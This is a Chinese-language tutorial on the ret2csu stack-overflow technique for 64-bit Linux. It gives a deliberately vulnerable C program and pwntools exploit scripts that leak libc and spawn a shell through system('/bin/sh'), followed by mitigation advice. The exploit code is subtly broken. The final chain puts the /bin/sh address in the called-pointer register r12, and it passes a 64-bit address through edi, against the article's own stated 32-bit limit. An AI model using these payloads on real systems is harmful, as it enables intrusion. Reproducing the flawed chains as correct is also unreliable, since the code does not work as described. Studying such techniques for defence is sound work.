64位Linux栈溢出利用:return-to-csu技术原理与实践

📅 2026/7/15 7:03:48 👁️ 阅读次数 📝 编程学习
64位Linux栈溢出利用:return-to-csu技术原理与实践

在64位程序栈溢出漏洞利用的系列文章中,我们已经探讨了多种技术方法。本文将重点介绍return-to-csu技术,这是2018年BlackHat Asia上分享的一种绕过ASLR的新技术,特别适用于64位Linux环境下的漏洞利用场景。

1. 64位栈溢出漏洞利用核心能力速览

能力项说明
目标架构x86-64 (64位Linux程序)
主要技术return-to-csu (ret2csu)
适用场景绕过ASLR、NX保护,控制多个寄存器参数
技术特点利用libc_csu_init中的通用gadget片段
依赖条件非PIE可执行文件,存在栈溢出漏洞
优势可控制rdx、rsi、edi等关键参数寄存器
限制rdi只能写入低32位,适合文件描述符参数

2. return-to-csu技术原理分析

return-to-csu技术的核心思想是利用GCC编译链在可执行文件中自动插入的__libc_csu_init函数中的通用代码片段。这些代码片段可以让我们控制多个关键寄存器,为后续的函数调用做准备。

2.1 __libc_csu_init函数结构分析

通过objdump反汇编可以看到__libc_csu_init函数包含两个关键代码片段:

$ objdump -d ./victim_nx | grep "<__libc_csu_init>:" -A35

反汇编结果显示的关键片段:

; 片段1 - 寄存器设置部分 400660: 4c 89 ea mov rdx,r13 400663: 4c 89 f6 mov rsi,r14 400666: 44 89 ff mov edi,r15d 400669: 41 ff 14 dc call QWORD PTR [r12+rbx*8] ; 片段2 - 寄存器恢复部分 40067a: 5b pop rbx 40067b: 5d pop rbp 40067c: 41 5c pop r12 40067e: 41 5d pop r13 400680: 41 5e pop r14 400682: 41 5f pop r15 400684: c3 ret

2.2 技术实现原理

return-to-csu技术的巧妙之处在于将这两个片段组合使用:

  1. 首先跳转到片段2:通过精心构造的栈布局,连续pop多个寄存器,为片段1准备参数
  2. 然后跳转到片段1:利用已经设置的寄存器值,控制rdx、rsi、edi,并间接调用目标函数

这种组合使得我们能够在只有有限控制权的情况下,精确设置函数调用所需的多个参数。

3. 环境准备与实验设置

3.1 实验程序准备

我们使用一个简单的存在栈溢出漏洞的程序作为实验目标:

// victim.c #include <stdio.h> int foo() { char buf[10]; scanf("%s", buf); printf("hello %s\n", buf); return 0; } int main() { foo(); printf("good bye!\n"); return 0; }

3.2 编译选项设置

为了便于实验,我们使用特定的编译选项禁用保护机制:

$ gcc victim.c -o victim_nx -g -fno-stack-protector -no-pie

编译选项说明:

  • -fno-stack-protector:禁用栈保护
  • -no-pie:禁用位置无关可执行文件
  • -g:包含调试信息

3.3 必要工具安装

实验需要以下工具:

  • gdb:调试器
  • objdump:反汇编工具
  • python:用于生成payload
  • 相关ROP查找工具(如ROPgadget)

4. return-to-csu利用实战

4.1 确定漏洞利用点

首先通过测试确定溢出点:

$ python -c "print 'A'*18 + 'B'*8" | ./victim_nx

通过gdb调试确定精确的溢出偏移量,确认我们可以控制返回地址。

4.2 构造ROP链

return-to-csu利用的关键是精心构造ROP链:

栈布局规划: [填充数据] * 18 [片段2地址] # 跳转到pop链 [rbx值] # 设置为0,用于后续计算 [rbp值] # 设置为1,用于通过比较检查 [r12值] # 目标函数指针地址 [r13值] # 设置rdx参数 [r14值] # 设置rsi参数 [r15值] # 设置edi参数(低32位) [片段1地址] # 跳转到mov链 [填充数据] * 7 # 片段1执行后的栈调整 [目标函数地址] # 实际要调用的函数

4.3 具体实现步骤

4.3.1 查找gadget地址
# 查找片段1和片段2的准确地址 $ objdump -d victim_nx | grep -A5 -B5 "mov rdx,r13"
4.3.2 设置函数参数

对于需要调用write或send函数泄露libc地址的场景:

# Python payload生成示例 pop_rbx_rbp_r12_r13_r14_r15 = 0x40067a # 片段2地址 mov_rdx_r13_mov_rsi_r14_mov_edi_r15d = 0x400660 # 片段1地址 # 设置write函数参数:fd=1, buf=某个GOT条目, count=8 payload = b'A'*18 payload += p64(pop_rbx_rbp_r12_r13_r14_r15) payload += p64(0) # rbx payload += p64(1) # rbp payload += p64(got_entry) # r12 - 要调用的函数指针 payload += p64(8) # r13 -> rdx (count) payload += p64(got_address) # r14 -> rsi (buf) payload += p64(1) # r15 -> edi (fd) payload += p64(mov_rdx_r13_mov_rsi_r14_mov_edi_r15d) payload += b'\x00'*56 # 填充片段1需要的栈空间
4.3.3 计算libc基地址

通过泄露的GOT条目值,可以计算出libc的基地址:

# 从泄露的地址计算libc基地址 leaked_addr = u64(leaked_data) libc_base = leaked_addr - libc_offset # 计算system和/bin/sh的真实地址 system_addr = libc_base + system_offset binsh_addr = libc_base + binsh_offset

5. 完整漏洞利用示例

5.1 利用write函数泄露libc

#!/usr/bin/env python3 from pwn import * context.arch = 'amd64' context.log_level = 'debug' # 启动目标程序 p = process('./victim_nx') # gadget地址 pop_rbx_rbp_r12_r13_r14_r15 = 0x40067a mov_gadget = 0x400660 # 目标函数地址 write_plt = 0x400490 # write@plt main_addr = 0x4005a0 # main函数,用于重新执行 # 构造ROP链泄露write的真实地址 payload = b'A'*18 payload += p64(pop_rbx_rbp_r12_r13_r14_r15) payload += p64(0) # rbx payload += p64(1) # rbp payload += p64(1) # r12 - write的GOT条目(示例) payload += p64(8) # r13 -> rdx payload += p64(0x600000) # r14 -> rsi(可读地址) payload += p64(1) # r15 -> edi payload += p64(mov_gadget) payload += b'\x00'*56 payload += p64(main_addr) # 返回main重新执行 p.sendline(payload) leaked_data = p.recv(8)

5.2 获取shell

在获取libc基地址后,构造最终的exploit:

# 计算实际地址 libc_base = u64(leaked_data) - 0x0f7250 # write在libc中的偏移 system_addr = libc_base + 0x045390 # system在libc中的偏移 binsh_addr = libc_base + 0x18ce57 # /bin/sh字符串在libc中的偏移 # 最终payload final_payload = b'A'*18 final_payload += p64(pop_rbx_rbp_r12_r13_r14_r15) final_payload += p64(0) # rbx final_payload += p64(1) # rbp final_payload += p64(binsh_addr) # r12 - /bin/sh地址 final_payload += p64(0) # r13 -> rdx final_payload += p64(0) # r14 -> rsi final_payload += p64(binsh_addr) # r15 -> edi final_payload += p64(mov_gadget) final_payload += b'\x00'*56 final_payload += p64(system_addr) # 调用system p.sendline(final_payload) p.interactive()

6. 技术优势与局限性分析

6.1 技术优势

  1. 通用性强:几乎所有GCC编译的64位Linux程序都包含__libc_csu_init
  2. 功能强大:可以同时控制多个关键参数寄存器
  3. 绕过保护:有效对抗ASLR和NX保护机制
  4. 稳定性高:基于程序本身的代码片段,可靠性好

6.2 局限性

  1. rdi限制:只能设置edi(低32位),对于需要完整64位地址的情况可能不够
  2. 依赖非PIE:需要可执行文件不是PIE编译的
  3. 栈布局复杂:需要精确控制栈布局,调试难度较大
  4. 多次交互:通常需要多次泄露和攻击才能完成利用

7. 防护措施与缓解方案

7.1 编译时防护

# 启用所有保护机制 gcc -fstack-protector-strong -pie -fPIE -Wl,-z,now -Wl,-z,relro victim.c -o victim_secure

7.2 运行时防护

  • 启用ASLR:echo 2 > /proc/sys/kernel/randomize_va_space
  • 使用Stack Canaries检测栈破坏
  • 限制程序权限,使用最小权限原则

7.3 代码安全实践

// 安全的输入处理 #include <stdio.h> int foo() { char buf[10]; if (fgets(buf, sizeof(buf), stdin) == NULL) { return -1; } printf("hello %s\n", buf); return 0; }

8. 与其他技术的对比分析

8.1 ret2csu vs 传统ROP

特性ret2csu传统ROP
gadget来源固定位置(libc_csu_init)分散在代码段
参数控制可控制多个寄存器通常需要多个gadget
可靠性高(通用存在)依赖具体程序
利用复杂度中等可能很复杂

8.2 ret2csu vs ret2libc

特性ret2csuret2libc
ASLR绕过需要泄露需要泄露
适用场景参数控制复杂时参数简单时
代码依赖依赖程序本身依赖libc

9. 实战技巧与注意事项

9.1 调试技巧

# 使用gdb调试ROP链 gdb ./victim_nx b *0x40067a # 在pop链开始处断点 r < payload_file

9.2 常见问题解决

  1. 段错误:检查栈布局是否正确,gadget地址是否准确
  2. 参数错误:确认寄存器设置符合函数调用约定
  3. 地址错误:验证libc偏移量是否正确

9.3 自动化工具使用

# 使用ROPgadget查找gadget ROPgadget --binary victim_nx | grep "pop rbx"

10. 总结与延伸学习

return-to-csu技术是64位Linux环境下栈溢出利用的重要方法,它利用了GCC编译器的特性,提供了一种相对通用的ROP利用方式。掌握这一技术对于深入理解现代漏洞利用技术具有重要意义。

进一步学习方向:

  • 研究其他通用gadget发现方法
  • 学习对抗完整保护机制的综合利用技术
  • 了解内核态漏洞利用技术
  • 研究漏洞利用的检测和防护方法

通过本文学到的技术应该仅用于安全研究和防御目的,在实际渗透测试中要确保获得合法授权,遵守相关法律法规。